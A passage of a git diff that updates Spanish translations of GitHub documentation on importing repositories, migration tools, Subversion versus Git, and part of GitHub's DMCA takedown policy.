+- Una cuenta de usuario personal {% data variables.product.product_name %} llamada **ghuser**
+- Un repositorio en {% ifversion ghae %}{% data variables.product.product_name %}{% else %}{% data variables.product.product_location %}{% endif %} que se llame **repo.git**
 
 {% endtip %}
 
-1. [Create a new repository on {% data variables.product.product_name %}](/articles/creating-a-new-repository). You'll import your external Git repository to this new repository.
-2. On the command line, make a "bare" clone of the repository using the external clone URL. This creates a full copy of the data, but without a working directory for editing files, and ensures a clean, fresh export of all the old data.
+1. [Crear un repositorio nuevo en {% data variables.product.product_name %}](/articles/creating-a-new-repository). Importarás tu repositorio de Git externo a este repositorio nuevo.
+2. En la línea de comando, haz un clon "en blanco" del repositorio usando la URL del clon externo. Esto crea una copia completa de los datos, pero sin un directorio de trabajo para editar archivos, y asegura una exportación limpia y nueva de todos los datos antiguos.
   ```shell
   $ git clone --bare https://external-host.com/<em>extuser</em>/<em>repo.git</em>
   # Makes a bare clone of the external repository in a local directory
   ```
-3. Push the locally cloned repository to {% data variables.product.product_name %} using the "mirror" option, which ensures that all references, such as branches and tags, are copied to the imported repository.
+3. Sube el repositorio clonado de forma local a {% data variables.product.product_name %} usando la opción "espejo", que asegura que todas las referencias, como ramas y etiquetas, se copien en el repositorio importado.
   ```shell
   $ cd <em>repo.git</em>
   $ git push --mirror https://{% data variables.command_line.codeblock %}/<em>ghuser</em>/<em>repo.git</em>
   # Pushes the mirror to the new repository on {% ifversion ghae %}{% data variables.product.product_name %}{% else %}{% data variables.product.product_location %}{% endif %}
   ```
-4. Remove the temporary local repository.
+4. Elimina el repositorio local temporal.
   ```shell
   $ cd ..
   $ rm -rf <em>repo.git</em>
diff --git a/translations/es-ES/content/github/importing-your-projects-to-github/importing-source-code-to-github/importing-a-repository-with-github-importer.md b/translations/es-ES/content/github/importing-your-projects-to-github/importing-source-code-to-github/importing-a-repository-with-github-importer.md
index a559e7393b..46548af2a2 100644
--- a/translations/es-ES/content/github/importing-your-projects-to-github/importing-source-code-to-github/importing-a-repository-with-github-importer.md
+++ b/translations/es-ES/content/github/importing-your-projects-to-github/importing-source-code-to-github/importing-a-repository-with-github-importer.md
@@ -1,6 +1,6 @@
 ---
-title: Importing a repository with GitHub Importer
-intro: 'If you have a project hosted on another version control system, you can automatically import it to GitHub using the GitHub Importer tool.'
+title: Importar un repositorio con el Importador GitHub
+intro: 'Si tienes un proyecto alojado en otro sistema de control de versión, puedes importarlo automáticamente a GitHub usando la herramienta Importador GitHub.'
 redirect_from:
   - /articles/importing-from-other-version-control-systems-to-github
   - /articles/importing-a-repository-with-github-importer
@@ -8,37 +8,30 @@ redirect_from:
 versions:
   fpt: '*'
   ghec: '*'
-shortTitle: Use GitHub Importer
+shortTitle: Utilizar el importador de GitHub
 ---
+
 {% tip %}
 
-**Tip:** GitHub Importer is not suitable for all imports. For example, if your existing code is hosted on a private network, our tool won't be able to access it. In these cases, we recommend [importing using the command line](/articles/importing-a-git-repository-using-the-command-line) for Git repositories or an external [source code migration tool](/articles/source-code-migration-tools) for projects imported from other version control systems.
+**Sugerencia:** El Importador GitHub no útil para todas las importaciones. Por ejemplo, si tu código existente está alojado en una red privada, nuestra herramienta no podrá acceder a él. En estos casos, recomendamos [importar usando la línea de comando](/articles/importing-a-git-repository-using-the-command-line) para los repositorios de Git o una [herramienta de migración de código fuente](/articles/source-code-migration-tools) externa para los proyectos importados desde otros sistemas de control de versión.
 
 {% endtip %}
 
-If you'd like to match the commits in your repository to the authors' GitHub user accounts during the import, make sure every contributor to your repository has a GitHub account before you begin the import.
+Si quieres hacer coincidir las confirmaciones de tu repositorio con las cuentas de usuario de GitHub de los autores durante la importación, asegúrate de que cada contribuyente de tu repositorio tenga una cuenta de GitHub antes de comenzar la importación.
 
 {% data reusables.repositories.repo-size-limit %}
 
-1. In the upper-right corner of any page, click {% octicon "plus" aria-label="Plus symbol" %}, and then click **Import repository**.
-![Import repository option in new repository menu](/assets/images/help/importer/import-repository.png)
-2. Under "Your old repository's clone URL", type the URL of the project you want to import.
-![Text field for URL of imported repository](/assets/images/help/importer/import-url.png)
-3. Choose your user account or an organization to own the repository, then type a name for the repository on GitHub.
-![Repository owner menu and repository name field](/assets/images/help/importer/import-repo-owner-name.png)
-4. Specify whether the new repository should be *public* or *private*. For more information, see "[Setting repository visibility](/articles/setting-repository-visibility)."
-![Public or private repository radio buttons](/assets/images/help/importer/import-public-or-private.png)
-5. Review the information you entered, then click **Begin import**.
-![Begin import button](/assets/images/help/importer/begin-import-button.png)
-6. If your old project was protected by a password, type your login information for that project, then click **Submit**.
-![Password form and Submit button for password-protected project](/assets/images/help/importer/submit-old-credentials-importer.png)
-7. If there are multiple projects hosted at your old project's clone URL, choose the project you'd like to import, then click **Submit**.
-![List of projects to import and Submit button](/assets/images/help/importer/choose-project-importer.png)
-8. If your project contains files larger than 100 MB, choose whether to import the large files using [Git Large File Storage](/articles/versioning-large-files), then click **Continue**.
-![Git Large File Storage menu and Continue button](/assets/images/help/importer/select-gitlfs-importer.png)
+1. En la esquina superior derecha de cada página, haz clic en {% octicon "plus" aria-label="Plus symbol" %} y luego haz clic en **Import repository** (Importar repositorio). ![Opción de Importar repositorio en el menú del nuevo repositorio](/assets/images/help/importer/import-repository.png)
+2. En "La URL del clon de tu repositorio antiguo", escribe la URL del proyecto que quieres importar. ![Campo de texto para la URL del repositorio importado](/assets/images/help/importer/import-url.png)
+3. Elige tu cuenta de usuario o una organización como propietaria del repositorio, luego escribe un nombre para el repositorio en GitHub. ![Menú del propietario del repositorio y campo del nombre del repositorio](/assets/images/help/importer/import-repo-owner-name.png)
+4. Especifica si el repositorio nuevo debe ser *público* o *privado*. Para obtener más información, consulta "[Configurar la visibilidad de un repositorio](/articles/setting-repository-visibility)". ![Botones Radio para el repositorio público o privado](/assets/images/help/importer/import-public-or-private.png)
+5. Revisa la información que ingresaste, luego haz clic en **Begin import** (Comenzar importación). ![Botón Begin import (Comenzar importación)](/assets/images/help/importer/begin-import-button.png)
+6. Si tus proyectos antiguos estaban protegidos con contraseña, escribe tu información de inicio de sesión para ese proyecto, luego haz clic en **Submit** (Enviar). ![Formulario de contraseña y botón Submit (Enviar) para proyecto protegido con contraseña](/assets/images/help/importer/submit-old-credentials-importer.png)
+7. Si hay múltiples proyectos alojados en la URL del clon de tu proyecto antiguo, elige el proyecto que quieras importar, luego haz clic en **Submit** (Enviar). ![Lista de proyectos para importar y botón Submit (Enviar)](/assets/images/help/importer/choose-project-importer.png)
+8. Si tu proyecto contiene archivos mayores a 100 MB, elige si importarás los archivos grandes usando [Git Large File Storage](/articles/versioning-large-files), luego haz clic en **Continue** (Continuar). ![Menú de Git Large File Storage y botón Continue (Continuar)](/assets/images/help/importer/select-gitlfs-importer.png)
 
-You'll receive an email when the repository has been completely imported.
+Recibirás un correo electrónico cuando se haya importado todo el repositorio.
 
-## Further reading
+## Leer más
 
-- "[Updating commit author attribution with GitHub Importer](/articles/updating-commit-author-attribution-with-github-importer)"
+- "[Actualizar la atribución del autor de la confirmación con Importador GitHub ](/articles/updating-commit-author-attribution-with-github-importer)"
diff --git a/translations/es-ES/content/github/importing-your-projects-to-github/importing-source-code-to-github/index.md b/translations/es-ES/content/github/importing-your-projects-to-github/importing-source-code-to-github/index.md
index b4936814c0..6376c9b343 100644
--- a/translations/es-ES/content/github/importing-your-projects-to-github/importing-source-code-to-github/index.md
+++ b/translations/es-ES/content/github/importing-your-projects-to-github/importing-source-code-to-github/index.md
@@ -1,6 +1,6 @@
 ---
-title: Importing source code to GitHub
-intro: 'You can import repositories to GitHub using {% ifversion fpt %}GitHub Importer, the command line,{% else %}the command line{% endif %} or external migration tools.'
+title: Importar código fuente a GitHub
+intro: 'Puedes importar repositorios a GitHub usando el {% ifversion fpt %}Importador GitHub, la línea de comando,{% else %}la línea de comando{% endif %} o herramientas de migración externas.'
 redirect_from:
   - /articles/importing-an-external-git-repository
   - /articles/importing-from-bitbucket
@@ -19,6 +19,6 @@ children:
   - /importing-a-git-repository-using-the-command-line
   - /adding-an-existing-project-to-github-using-the-command-line
   - /source-code-migration-tools
-shortTitle: Import code to GitHub
+shortTitle: Importar código a GitHub
 ---
 
diff --git a/translations/es-ES/content/github/importing-your-projects-to-github/importing-source-code-to-github/source-code-migration-tools.md b/translations/es-ES/content/github/importing-your-projects-to-github/importing-source-code-to-github/source-code-migration-tools.md
index eaf2788967..8f1420d095 100644
--- a/translations/es-ES/content/github/importing-your-projects-to-github/importing-source-code-to-github/source-code-migration-tools.md
+++ b/translations/es-ES/content/github/importing-your-projects-to-github/importing-source-code-to-github/source-code-migration-tools.md
@@ -1,6 +1,6 @@
 ---
-title: Source code migration tools
-intro: You can use external tools to move your projects to GitHub.
+title: Herramientas de migración de código fuente
+intro: Puedes utilizar herramientas externas para mover tus proyectos a GitHub.
 redirect_from:
   - /articles/importing-from-subversion
   - /articles/source-code-migration-tools
@@ -10,48 +10,49 @@ versions:
   ghes: '*'
   ghae: '*'
   ghec: '*'
-shortTitle: Code migration tools
+shortTitle: Herramientas de migración de código
 ---
+
 {% ifversion fpt or ghec %}
 
-We recommend using [GitHub Importer](/articles/about-github-importer) to import projects from Subversion, Mercurial, Team Foundation Version Control (TFVC), or another Git repository. You can also use these external tools to convert your project to Git.
+Te recomendamos utilizar el [Importador de GitHub](/articles/about-github-importer) para importar proyectos de Subversion, Mercurial, Team Foundation Version Control (TFVC) u otro repositorio de Git. También puedes utilizar estas herramientas externas para convertir tus proyectos a Git.
 
 {% endif %}
 
-## Importing from Subversion
+## Importar desde Subversion
 
-In a typical Subversion environment, multiple projects are stored in a single root repository. On GitHub, each of these projects will usually map to a separate Git repository for a user account or organization. We suggest importing each part of your Subversion repository to a separate GitHub repository if:
+En un entorno normal de Subversion, se almacenan varios proyectos en un único repositorio raíz. En GitHub, cada uno de estos proyectos generalmente se mapeará a un repositorio de Git separado para una cuenta de usuario o de organización. Sugerimos importar cada parte de tu repositorio de Subversion a un repositorio de GitHub separado si:
 
-* Collaborators need to check out or commit to that part of the project separately from the other parts
-* You want different parts to have their own access permissions
+* Los colaboradores necesitan revisar o confirmar esa parte del proyecto de forma separada desde las otras partes
+* Deseas que distintas partes tengan sus propios permisos de acceso
 
-We recommend these tools for converting Subversion repositories to Git:
+Recomendamos estas herramientas para convertir repositorio de Subversion a Git:
 
 - [`git-svn`](https://git-scm.com/docs/git-svn)
 - [svn2git](https://github.com/nirvdrum/svn2git)
 
-## Importing from Mercurial
+## Importar desde Mercurial
 
-We recommend [hg-fast-export](https://github.com/frej/fast-export) for converting Mercurial repositories to Git.
+Recomendamos [hg-fast-export](https://github.com/frej/fast-export) para convertir repositorios de Mercurial a Git.
 
-## Importing from TFVC
+## Importar desde TFVC
 
-We recommend [git-tfs](https://github.com/git-tfs/git-tfs) for moving changes between TFVC and Git.
+Te recomendamos utilizar [git-tfs](https://github.com/git-tfs/git-tfs) para mover los cambios entre TFVC y Git.
 
-For more information about moving from TFVC (a centralized version control system) to Git, see "[Plan your Migration to Git](https://docs.microsoft.com/devops/develop/git/centralized-to-git)" from the Microsoft docs site.
+Para obtener más información acerca de migrarse de TFVC (un sistema de control de versiones centralizado) a Git, consulta la sección "[Planea tu migración a Git](https://docs.microsoft.com/devops/develop/git/centralized-to-git)" del sitio de documentos de Microsoft.
 
 {% tip %}
 
-**Tip:** After you've successfully converted your project to Git, you can [push it to {% data variables.product.prodname_dotcom %}](/github/getting-started-with-github/pushing-commits-to-a-remote-repository/).
+**Sugerencia:** después de haber convertido con éxito tu proyecto a Git, puedes [subirlo a {% data variables.product.prodname_dotcom %}](/github/getting-started-with-github/pushing-commits-to-a-remote-repository/).
 
 {% endtip %}
 
 {% ifversion fpt or ghec %}
 
-## Further reading
+## Leer más
 
-- "[About GitHub Importer](/articles/about-github-importer)"
-- "[Importing a repository with GitHub Importer](/articles/importing-a-repository-with-github-importer)"
+- "[Acerca del Importador GitHub](/articles/about-github-importer)"
+- "[Importar un repositorio con Importador GitHub](/articles/importing-a-repository-with-github-importer)"
 - [{% data variables.product.prodname_learning %}]({% data variables.product.prodname_learning_link %})
 
 {% endif %}
diff --git a/translations/es-ES/content/github/importing-your-projects-to-github/index.md b/translations/es-ES/content/github/importing-your-projects-to-github/index.md
index b2db417ddf..804005675e 100644
--- a/translations/es-ES/content/github/importing-your-projects-to-github/index.md
+++ b/translations/es-ES/content/github/importing-your-projects-to-github/index.md
@@ -1,7 +1,7 @@
 ---
-title: Importing your projects to GitHub
-intro: 'You can import your source code to {% data variables.product.product_name %} using a variety of different methods.'
-shortTitle: Importing your projects
+title: Importar tus proyectos a GitHub
+intro: 'Puedes importar tu código fuente a {% data variables.product.product_name %} utilizando diversos métodos diferentes.'
+shortTitle: Importar tus proyectos
 redirect_from:
   - /categories/67/articles
   - /categories/importing
diff --git a/translations/es-ES/content/github/importing-your-projects-to-github/working-with-subversion-on-github/what-are-the-differences-between-subversion-and-git.md b/translations/es-ES/content/github/importing-your-projects-to-github/working-with-subversion-on-github/what-are-the-differences-between-subversion-and-git.md
index 21d7ded6ac..8931d347ce 100644
--- a/translations/es-ES/content/github/importing-your-projects-to-github/working-with-subversion-on-github/what-are-the-differences-between-subversion-and-git.md
+++ b/translations/es-ES/content/github/importing-your-projects-to-github/working-with-subversion-on-github/what-are-the-differences-between-subversion-and-git.md
@@ -1,6 +1,6 @@
 ---
-title: What are the differences between Subversion and Git?
-intro: 'Subversion (SVN) repositories are similar to Git repositories, but there are several differences when it comes to the architecture of your projects.'
+title: ¿Cuáles son las diferencias entre Subversion y Git?
+intro: 'Los repositorios de Subversion (SVN) son similares a los repositorios de Git, pero hay diferencias cuando se refiere a la arquitectura de tus proyectos.'
 redirect_from:
   - /articles/what-are-the-differences-between-svn-and-git
   - /articles/what-are-the-differences-between-subversion-and-git
@@ -9,11 +9,12 @@ versions:
   fpt: '*'
   ghes: '*'
   ghec: '*'
-shortTitle: Subversion & Git differences
+shortTitle: Diferencias entre Subversion & Git
 ---
-## Directory structure
 
-Each *reference*, or labeled snapshot of a commit, in a project is organized within specific subdirectories, such as `trunk`, `branches`, and `tags`. For example, an SVN project with two features under development might look like this:
+## Estructura del directorio
+
+Cada *referencia*, o instantánea etiquetada de una confirmación, en un proyecto se organiza dentro de subdirectorios específicos, como `tronco`, `ramas` y `etiquetas`. Por ejemplo, un proyecto SVN con dos características bajo desarrollo debería parecerse a esto:
 
       sample_project/trunk/README.md
       sample_project/trunk/lib/widget.rb
@@ -22,48 +23,48 @@ Each *reference*, or labeled snapshot of a commit, in a project is organized wit
       sample_project/branches/another_new_feature/README.md
       sample_project/branches/another_new_feature/lib/widget.rb
 
-An SVN workflow looks like this:
+Un flujo de trabajo SVN se parece a esto:
 
-* The `trunk` directory represents the latest stable release of a project.
-* Active feature work is developed within subdirectories under `branches`.
-* When a feature is finished, the feature directory is merged into `trunk` and removed.
+* El directorio `tronco` representa el último lanzamiento estable de un proyecto.
+* El trabajo de característica activa se desarrolla dentro de subdirectorios dentro de `ramas`.
+* Cuando una característica se termina, el directorio de la característica se fusiona dentro del `tronco` y se elimina.
 
-Git projects are also stored within a single directory. However, Git obscures the details of its references by storing them in a special *.git* directory. For example, a Git project with two features under development might look like this:
+Los proyectos de Git también se almacenan dentro de un directorio único. Sin embargo, Git oculta los detalles de sus referencias al almacenarlos en un directorio *.git* especial. Por ejemplo, un proyecto Git con dos características bajo desarrollo debería parecerse a esto:
 
       sample_project/.git
       sample_project/README.md
       sample_project/lib/widget.rb
 
-A Git workflow looks like this:
+Un flujo de trabajo Git se parece a esto:
 
-* A Git repository stores the full history of all of its branches and tags within the *.git* directory.
-* The latest stable release is contained within the default branch.
-* Active feature work is developed in separate branches.
-* When a feature is finished, the feature branch is merged into the default branch and deleted.
+* Un repositorio Git almacena el historial completo de todas sus ramas y etiquetas dentro del directorio de *.git*.
+* El último lanzamiento estables se contiene dentro de la rama predeterminada.
+* El trabajo de característica activa se desarrolla en ramas separadas.
+* Cuando una característica finaliza, la rama de característica se fusiona en la rama predeterminada y se borra.
 
-Unlike SVN, with Git the directory structure remains the same, but the contents of the files change based on your branch.
+A diferencia de SVN, con Git la estructura del directorio permanece igual, pero los contenidos de los archivos cambia en base a tu rama.
 
-## Including subprojects
+## Incluir los subproyectos
 
-A *subproject* is a project that's developed and managed somewhere outside of your main project. You typically import a subproject to add some functionality to your project without needing to maintain the code yourself. Whenever the subproject is updated, you can synchronize it with your project to ensure that everything is up-to-date.
+Un *subproyecto* es un proyecto que se ha desarrollado y administrado en algún lugar fuera del proyecto principal. Normalmente importas un subproyecto para agregar alguna funcionalidad a tu proyecto sin necesidad de mantener el código. Cada vez que el proyecto se actualiza, puedes sincronizarlo con tu proyecto para garantizar que todo esté actualizado.
 
-In SVN, a subproject is called an *SVN external*. In Git, it's called a *Git submodule*. Although conceptually similar, Git submodules are not kept up-to-date automatically; you must explicitly ask for a new version to be brought into your project.
+En SVN, un subproyecto se llama un *SVN externo*. En Git, se llama un *submódulo Git*. A pesar de que conceptualmente son similares, los submódulos Git no se mantienen actualizados de forma automática; debes solicitar explícitamente que se traiga una nueva versión a tu proyecto.
 
-For more information, see "[Git Tools Submodules](https://git-scm.com/book/en/Git-Tools-Submodules)" in the Git documentation.
+Para obtener más información, consulta la sección "[Submódulos de las Git Tools](https://git-scm.com/book/en/Git-Tools-Submodules)" en la documentación de Git.
 
-## Preserving history
+## Mantener el historial
 
-SVN is configured to assume that the history of a project never changes. Git allows you to modify previous commits and changes using tools like [`git rebase`](/github/getting-started-with-github/about-git-rebase).
+SVN está configurado para suponer que el historial de un proyecto nunca cambia. Git te permite modificar cambios y confirmaciones previas utilizando herramientas como [`git rebase`](/github/getting-started-with-github/about-git-rebase).
 
 {% tip %}
 
-[GitHub supports Subversion clients](/articles/support-for-subversion-clients), which may produce some unexpected results if you're using both Git and SVN on the same project. If you've manipulated Git's commit history, those same commits will always remain within SVN's history. If you accidentally committed some sensitive data, we have [an article that will help you remove it from Git's history](/articles/removing-sensitive-data-from-a-repository).
+[GitHub admite clientes de Subversion](/articles/support-for-subversion-clients), lo que puede generar algunos resultados inesperados si estás utilizando tanto Git como SVN en el mismo proyecto. Si has manipulado el historial de confirmación de Git, esas mismas confirmaciones siempre permanecerán dentro del historial de SVN. Si accidentalmente confirmaste algunos datos confidenciales, hay un [artículo que te ayudará a eliminarlo del historial de Git](/articles/removing-sensitive-data-from-a-repository).
 
 {% endtip %}
 
-## Further reading
+## Leer más
 
-- "[Subversion properties supported by GitHub](/articles/subversion-properties-supported-by-github)"
-- ["Branching and Merging" from the _Git SCM_ book](https://git-scm.com/book/en/Git-Branching-Basic-Branching-and-Merging)
-- "[Importing source code to GitHub](/articles/importing-source-code-to-github)"
-- "[Source code migration tools](/articles/source-code-migration-tools)"
+- "[Propiedades de Subversion admitidas por GitHub](/articles/subversion-properties-supported-by-github)"
+- ["Branching and Merging" del libro _Git SCM_](https://git-scm.com/book/en/Git-Branching-Basic-Branching-and-Merging)
+- "[Importar código fuente a GitHub](/articles/importing-source-code-to-github)"
+- "[Herramientas de migración de código fuente](/articles/source-code-migration-tools)"
diff --git a/translations/es-ES/content/github/site-policy/dmca-takedown-policy.md b/translations/es-ES/content/github/site-policy/dmca-takedown-policy.md
index 05d313d7f4..05cee74f72 100644
--- a/translations/es-ES/content/github/site-policy/dmca-takedown-policy.md
+++ b/translations/es-ES/content/github/site-policy/dmca-takedown-policy.md
@@ -1,5 +1,5 @@
 ---
-title: DMCA Takedown Policy
+title: Política de retiro de DMCA
 redirect_from:
   - /dmca
   - /dmca-takedown
@@ -13,111 +13,111 @@ topics:
   - Legal
 ---
 
-Welcome to GitHub's Guide to the Digital Millennium Copyright Act, commonly known as the "DMCA." This page is not meant as a comprehensive primer to the statute. However, if you've received a DMCA takedown notice targeting content you've posted on GitHub or if you're a rights-holder looking to issue such a notice, this page will hopefully help to demystify the law a bit as well as our policies for complying with it.
+Bienvenido a la Guía sobre la Ley de Derechos de Autor del Milenio Digital de GitHub, comúnmente conocida como la "DMCA". Esta página no está pensada como un manual extenso del estatuto. Sin embargo, si has recibido un aviso de retiro de la DMCA orientado al contenido que has publicado en GitHub o si eres un titular de derechos que busca proponer dicho aviso, esperamos que esta página ayude a desmitificar la ley un poco, así como nuestras políticas para cumplirla.
 
-(If you just want to submit a notice, you can skip to "[G. Submitting Notices](#g-submitting-notices).")
+(si solo quieres emitir un aviso, puedes saltarte a "[G. Emitir Avisos](#g-submitting-notices)".)
 
-As with all legal matters, it is always best to consult with a professional about your specific questions or situation. We strongly encourage you to do so before taking any action that might impact your rights. This guide isn't legal advice and shouldn't be taken as such.
+Como en todas las cuestiones jurídicas, siempre es mejor consultar con un profesional sobre tus preguntas o situación específicas. Te recomendamos enfáticamente que lo hagas antes de emprender cualquier acción que pueda afectar tus derechos. Esta guía no es asesoramiento legal y no debería ser tomada como tal.
 
-## What Is the DMCA?
+## ¿Qué es la DMCA?
 
-In order to understand the DMCA and some of the policy lines it draws, it's perhaps helpful to consider life before it was enacted.
+Para entender la DMCA y algunas de las orientaciones de la política, tal vez sea útil considerar la duración antes de que se promulgara.
 
-The DMCA provides a safe harbor for service providers that host user-generated content. Since even a single claim of copyright infringement can carry statutory damages of up to $150,000, the possibility of being held liable for user-generated content could be very harmful for service providers. With potential damages multiplied across millions of users, cloud-computing and user-generated content sites like YouTube, Facebook, or GitHub probably [never would have existed](https://arstechnica.com/tech-policy/2015/04/how-the-dmca-made-youtube/) without the DMCA (or at least not without passing some of that cost downstream to their users).
+La DMCA proporciona un puerto seguro para los proveedores de servicios que albergan contenido generado por los usuarios. Dado que incluso una sola reclamación de infracción de derechos de autor puede conllevar daños estatutarios por hasta $150,000, la posibilidad de responsabilizarse de los contenidos generados por los usuarios podría ser muy perjudicial para los proveedores de servicios. Con daños potenciales multiplicados a través de millones de usuarios, la computación en la nube y los sitios de contenido generados por usuarios como YouTube, Facebook, o GitHub probablemente [nunca habrían existido](https://arstechnica.com/tech-policy/2015/04/how-the-dmca-made-youtube/) sin la DMCA (o al menos sin pasar parte de ese costo a sus usuarios).
 
-The DMCA addresses this issue by creating a [copyright liability safe harbor](https://www.copyright.gov/title17/92chap5.html#512) for internet service providers hosting allegedly infringing user-generated content. Essentially, so long as a service provider follows the DMCA's notice-and-takedown rules, it won't be liable for copyright infringement based on user-generated content. Because of this, it is important for GitHub to maintain its DMCA safe-harbor status.
+La DMCA aborda este problema mediante la creación de un [puerto seguro de responsabilidad de derechos de autor](https://www.copyright.gov/title17/92chap5.html#512) para los proveedores de servicios de Internet que presuntamente infrinjan el contenido generado por los usuarios. Esencialmente, mientras un proveedor de servicios siga las reglas de notificación y retiro de la DMCA, no será responsable de la infracción de derechos de autor con base en el contenido generado por los usuarios. Debido a esto, es importante que GitHub mantenga su estado de puerto seguro de la DMCA.
 
-The DMCA also prohibits the [circumvention of technical measures](https://www.copyright.gov/title17/92chap12.html) that effectively control access to works protected by copyright. 
+La DMCA también prohibe la [circunvención de medidas técnicas](https://www.copyright.gov/title17/92chap12.html) que controlan efectivamente los accesos a los trabajos protegidos por derechos de autor.
 
-## DMCA Notices In a Nutshell
+## Avisos de la DMCA en Nutshell
 
-The DMCA provides two simple, straightforward procedures that all GitHub users should know about: (i) a [takedown-notice](/articles/guide-to-submitting-a-dmca-takedown-notice) procedure for copyright holders to request that content be removed; and (ii) a [counter-notice](/articles/guide-to-submitting-a-dmca-counter-notice) procedure for users to get content re-enabled when content is taken down by mistake or misidentification.
+La DMCA proporciona dos procedimientos claros y sencillos sobre los que todos los usuarios de GitHub deberían tener conocimiento: (i) un procedimiento [de notificación de retiro](/articles/guide-to-submitting-a-dmca-takedown-notice) para que los titulares de los derechos de autor soliciten que se elimine el contenido; y (ii) una [contra notificación](/articles/guide-to-submitting-a-dmca-counter-notice) para que se reactive el contenido, cuando se elimina por error o identificación incorrecta.
 
-DMCA [takedown notices](/articles/guide-to-submitting-a-dmca-takedown-notice) are used by copyright owners to ask GitHub to take down content they believe to be infringing. If you are a software designer or developer, you create copyrighted content every day. If someone else is using your copyrighted content in an unauthorized manner on GitHub, you can send us a DMCA takedown notice to request that the infringing content be changed or removed.
+Los propietarios de derechos de autor utilizan [notificaciones de retiro de la DMCA](/articles/guide-to-submitting-a-dmca-takedown-notice) para solicitar a GitHub que retire el contenido que consideran infractor. Si eres diseñador de software o desarrollador, creas contenido con derechos de autor todos los días. Si alguien más está utilizando tu contenido con derechos de autor sin autorización dentro de GitHub, puedes enviarnos una notificación de retiro de la DMCA para solicitar que se cambie o elimine el contenido que comete dicha violación.
 
-On the other hand, [counter notices](/articles/guide-to-submitting-a-dmca-counter-notice) can be used to correct mistakes. Maybe the person sending the takedown notice does not hold the copyright or did not realize that you have a license or made some other mistake in their takedown notice. Since GitHub usually cannot know if there has been a mistake, the DMCA counter notice allows you to let us know and ask that we put the content back up.
+Por otro lado, se pueden utilizar [contra notificaciones](/articles/guide-to-submitting-a-dmca-counter-notice) para corregir errores. Quizá la persona que envía la notificación de retiro no tiene los derechos de autor o no se percató que tienes una licencia o cometió algún otro error en su notificación de retiro. Ya que GitHub normalmente no puede saber si ha ocurrido un error, la contra notificación de la DMCA te permite hacernos saber y solicitar que le volvamos a poner el contenido nuevamente.
 
-The DMCA notice and takedown process should be used only for complaints about copyright infringement. Notices sent through our DMCA process must identify copyrighted work or works that are allegedly being infringed. The process cannot be used for other complaints, such as complaints about alleged [trademark infringement](/articles/github-trademark-policy/) or [sensitive data](/articles/github-sensitive-data-removal-policy/); we offer separate processes for those situations.
+El proceso de eliminación notificación y retiro de la DMCA debe utilizarse únicamente para reclamaciones sobre violaciones de derechos de autor. Las notificaciones enviadas a través de nuestro proceso DMCA deben identificar obras o trabajos protegidos por derechos de autor que supuestamente están siendo infringidos. El proceso no puede utilizarse para otras reclamaciones, tales como quejas sobre presuntas [infracciones de marcas](/articles/github-trademark-policy/) o [datos sensibles](/articles/github-sensitive-data-removal-policy/); ofrecemos procesos separados para esas situaciones.
 
-## A. How Does This Actually Work?
+## A. ¿Cómo funciona realmente?
 
-The DMCA framework is a bit like passing notes in class. The copyright owner hands GitHub a complaint about a user. If it's written correctly, we pass the complaint along to the user. If the user disputes the complaint, they can pass a note back saying so. GitHub exercises little discretion in the process other than determining whether the notices meet the minimum requirements of the DMCA. It is up to the parties (and their lawyers) to evaluate the merit of their claims, bearing in mind that notices must be made under penalty of perjury.
+El marco de la DMCA es un poco como pasar notas en clase. El propietario de los derechos de autor entrega a GitHub una reclamación sobre un usuario. Si está redactado correctamente, pasamos la queja al usuario. Si el usuario cuestiona la reclamación, puede regresar una nota afirmando. GitHub ejerce poca discreción en el proceso aparte de determinar si los avisos cumplen con los requisitos mínimos de la DMCA. Corresponde a las partes (y a sus abogados) evaluar el mérito de sus reclamaciones, teniendo en cuenta que los avisos deben realizarse bajo pena de perjurio.
 
-Here are the basic steps in the process.
+Aquí están los pasos básicos en el proceso.
 
-1. **Copyright Owner Investigates.** A copyright owner should always conduct an initial investigation to confirm both (a) that they own the copyright to an original work and (b) that the content on GitHub is unauthorized and infringing. This includes confirming that the use is not protected as [fair use](https://www.lumendatabase.org/topics/22). A particular use may be fair if it only uses a small amount of copyrighted content, uses that content in a transformative way, uses it for educational purposes, or some combination of the above. Because code naturally lends itself to such uses, each use case is different and must be considered separately.
-> **Example:** An employee of Acme Web Company finds some of the company's code in a GitHub repository. Acme Web Company licenses its source code out to several trusted partners. Before sending in a take-down notice, Acme should review those licenses and its agreements to confirm that the code on GitHub is not authorized under any of them.
+1. **El Propietario de Derechos de Autor investiga.** Un propietario de los derechos de autor siempre debe realizar una investigación inicial para confirmar (a) que son propietarios de los derechos de autor de una obra original y (b) que el contenido de GitHub no está autorizado y es infractor. Esto incluye confirmar que el uso no está protegido como [uso razonable](https://www.lumendatabase.org/topics/22). Un uso particular puede ser justo si solamente utiliza una pequeña cantidad de contenido protegido por derechos de autor, utiliza ese contenido de forma transformativa, lo utiliza para fines educativos, o alguna combinación de lo anterior. Dado que el código naturalmente se presta a dichos usos, cada caso de uso es diferente y debe considerarse por separado.
+> **Ejemplo:** Un empleado de Acme Web Company encuentra parte del código de la empresa en un repositorio de GitHub. Acme Web Company otorga licencias de su código fuente a diversos socios de confianza. Antes de enviar una notificación de retiro, Acme debe revisar dichas licencias y sus acuerdos para confirmar que el código en GitHub no esté autorizado bajo ninguna de ellas.
 
-2. **Copyright Owner Sends A Notice.** After conducting an investigation, a copyright owner prepares and sends a [takedown notice](/articles/guide-to-submitting-a-dmca-takedown-notice) to GitHub. Assuming the takedown notice is sufficiently detailed according to the statutory requirements (as explained in the [how-to guide](/articles/guide-to-submitting-a-dmca-takedown-notice)), we will [post the notice](#d-transparency) to our [public repository](https://github.com/github/dmca) and pass the link along to the affected user.
+2. **El propietario de los derechos de autor envía una notificación.** Después de realizar una investigación, un propietario de los derechos de autor prepara y envía una [notificación de retiro](/articles/guide-to-submitting-a-dmca-takedown-notice) a GitHub. Suponiendo que la notificación de retiro esté suficientemente detallada de acuerdo con los requisitos legales (como se explica en la [guía práctica](/articles/guide-to-submitting-a-dmca-takedown-notice)), [publicaremos la notificación](#d-transparency) en nuestro [repositorio público](https://github.com/github/dmca) y pasaremos el enlace al usuario afectado.
 
-3. **GitHub Asks User to Make Changes.** If the notice alleges that the entire contents of a repository infringe, or a package infringes, we will skip to Step 6 and disable the entire repository or package expeditiously. Otherwise, because GitHub cannot disable access to specific files within a repository, we will contact the user who created the repository and give them approximately 1 business day to delete or modify the content specified in the notice. We'll notify the copyright owner if and when we give the user a chance to make changes. Because packages are immutable, if only part of a package is infringing, GitHub would need to disable the entire package, but we permit reinstatement once the infringing portion is removed. 
